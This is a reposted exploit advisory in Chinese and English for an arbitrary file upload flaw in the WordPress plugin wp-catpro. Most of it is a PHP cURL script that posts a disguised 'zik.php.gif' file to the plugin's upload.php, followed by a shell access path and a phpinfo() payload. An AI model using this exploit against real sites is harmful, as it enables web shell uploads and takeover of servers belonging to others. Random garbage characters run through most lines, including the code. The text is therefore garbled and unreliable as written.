WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
  n& T: e; K7 Z8 a5 W
, z- z+ m* |* w' q% R& N作者  => Zikou-16
邮箱 => zikou16x@gmail.com
( K* ~$ S* U8 ?8 L7 Y测试系统 : Windows 7 , Backtrack 5r3
7 M* u+ _5 \% q$ X6 V0 f: |下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

0 U! n" y% X" s9 ^3 f1 W/ @#=> Exploit 信息:
------------------
, _3 Q( w& C) A- B& w1 ?  J! X  j# 攻击者可以上传 file/shell.php.gif
: w# {9 c8 P, w  j1 S8 z2 B5 ~# ("jpg", "gif", "png")  // Allowed file extensions
) ?3 F+ a' q5 W8 h0 F# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
' \( `8 Z, \, R% R------------------
4 J( F& ?, F& ^% `$ y, g$ q; r' G
$ y; J0 l4 \. j6 ~+ }#=> Exploit
. B- k* W" c0 U! R-----------
<?php

6 n# v4 `" J6 k2 {, [( Y, a) Y4 S  [$uploadfile="zik.php.gif";
( \+ p) Y  o2 ?$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
" L% o" s" z. n0 l) a1 n- ~curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
" Q8 m) w$ q8 q- \" U! k, {/ A'folder'=>'/wp-content/uploads/catpro/'));
% w. [8 I1 Q2 e+ _curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
4 A/ u# G2 j4 Y6 v; {curl_close($ch);
2 x7 }8 a4 N4 K) P  p
print "$postResult";
$ p4 N# F5 B9 n! s3 _/ z& Y
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
5 x% E7 S6 g* E* c4 g6 B: T  ?>
<?php
phpinfo();
& i' d8 F* F" O0 |: _) ^?>